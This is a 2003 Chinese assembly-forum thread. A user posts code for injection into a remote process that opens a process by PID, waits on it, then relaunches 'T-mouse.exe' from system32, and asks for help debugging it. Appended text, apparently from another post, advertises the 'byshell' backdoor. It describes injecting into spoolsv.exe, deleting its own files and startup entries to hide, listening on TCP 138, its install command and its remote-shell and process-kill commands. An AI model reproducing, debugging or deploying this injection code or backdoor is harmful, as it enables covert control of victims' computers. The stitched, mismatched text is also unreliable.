关于被注射入远程进程的代码的问题

pgcat 2003-04-22 11:13:04
写这段代码的时候遇到些问题,因为很难调,问问大家 谢。
CreateromtThread proc ProcID: dword
call GetPathAdd
GetPathAdd: ;得到路径变量地址
pop ecx
add ecx,offset PathName-offset GetPathAdd
call GetKnlGetSystemDirectoryA
KnlGetSystemDirectoryA dd ?
GetKnlGetSystemDirectoryA: ;得到当前系统文件夹
popeax
pop ebx
call[eax],ecx,100h
oreax,eax
jzshort ExitProtectProc
movebx,ecx ;这个地方也有疑惑
;push ebx
callGetFileAdd
GetFileAdd: 得到文件名常量地址
popecx
addecx,offset FileNametmp-offset GetFileAdd
call GetKnllstrcat
Knllstrcatdd?
GetKnllstrcat: ;路径和文件名连接起来
popeax
;popebx
call [eax],ebx,ecx ;这一步好象出错,由于无法调试
oreax,eax
jzshort ExitProtectProc
callGetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
popeax
call[eax],PROCESS_ALL_ACCESS,FALSE,ProcID
oreax,eax
jzshort ExitProtectProc
movebx,eax
callGetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
popeax
call[eax],ebx,-1h
callGetFileNameAddress
GetFileNameAddress:
popecx
addecx,offset FileName-offset GetFileNameAddress
callGetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
popeax
;popebx
call[eax],ebx,01
ExitProtectProc:
ret
CreateromtThread endp

FileName db 'c:\windows\system32\T-mouse.exe',0
PathName db100dup(?)
FileNametmp db '\T-mouse.exe',0

KnlOpenProcessStrdb 'OpenProcess',0
KnlWaitForObjectStrdb 'WaitForSingleObject',0
KnlWinExecStrdb 'WinExec',0
KnlGetSystemDirectoryAStr db 'GetSystemDirectoryA',0
KnllstrcatStrdb 'lstrcat',0


偶认为主要问题就是得到当前路径那个地方,因为直接写入内存,不好调试不知道该怎么处理 帮忙瞧瞧!!




...全文
31 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
qiuafa 2003-04-22
  • 打赏
  • 举报
回复
劫分 & 捧场
Areslee 2003-04-22
  • 打赏
  • 举报
回复
调试好再写过去
那个byshell0.64的网络传输稳定性不是很好,因此把前一个版本的0.63也放上来了。
大家如果发现0.64不能用,可以试试这个。
byshell v0.63
author:"by"
byshell v0.63,用户态实现无进程无DLL无硬盘文件无启动项的后门程序。利用线程注射DLL到系统进程,解除DLL映射并删除自身文件和启动项,关机时恢复。大量的借鉴和学习了农民的cmdbind2的思想,在这里对农民前辈无私共享的精神致以120分感谢。目前把后门绑在TCP138,以后会改成无连接或端口复用的:)原代码和注释写的比较凌乱,和本人的不好的程序风格有关,望大家谅解:(作者允许此软件及其源代码自由传播,但引用时应注明原出处。在联系作者并得到同意之前,不得将此软件改编或删选后用作商业用途,但可用作学习和私人用途。
本软件仅仅支持NT以上的Wind0wZ系统。第一次使用时,在服务端把ntboot.exe和ntboot.dll放在同一目录下,执行ntboot.exe -install,安装完成后安装文件可以删除。以后当服务端上网,byshell会注射到spoolsv.exe中,可以自行修改原码改变注射进程名。

符号#是这个软件的命令提示符。目前支持的命令:
cmd 在此后跟你要执行的cmd命令,注意:只能执行一条单独的命令。仅仅支持NT以上的Wind0wZ系统。
eg. #cmddir c:\winnt
shell 输此命令后,进交互的远程cmd,直到键endshell返回#提示符。仅仅支持NT以上的Wind0wZ系统。
endshell 从shell状态返回#提示符。
chpass 改变后门密码。默认为“by”。
eg. #chpass123456
byver 查看连接的服务端的版本,新旧版本的客户服务端间交互时,可能有严重的兼容性问题
sysinfo 取得对方的基本系统信息。
pslist 对方进程列表。
pskill 杀死对方指定进程。在此后跟你要杀死的进程的PID(由pslist得到)。
eg. #pskill972
modlist 对方指定进程加载的所有DLL的列表。在此后跟你要查看的进程的PID(由pslist得到)。<

21,459

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧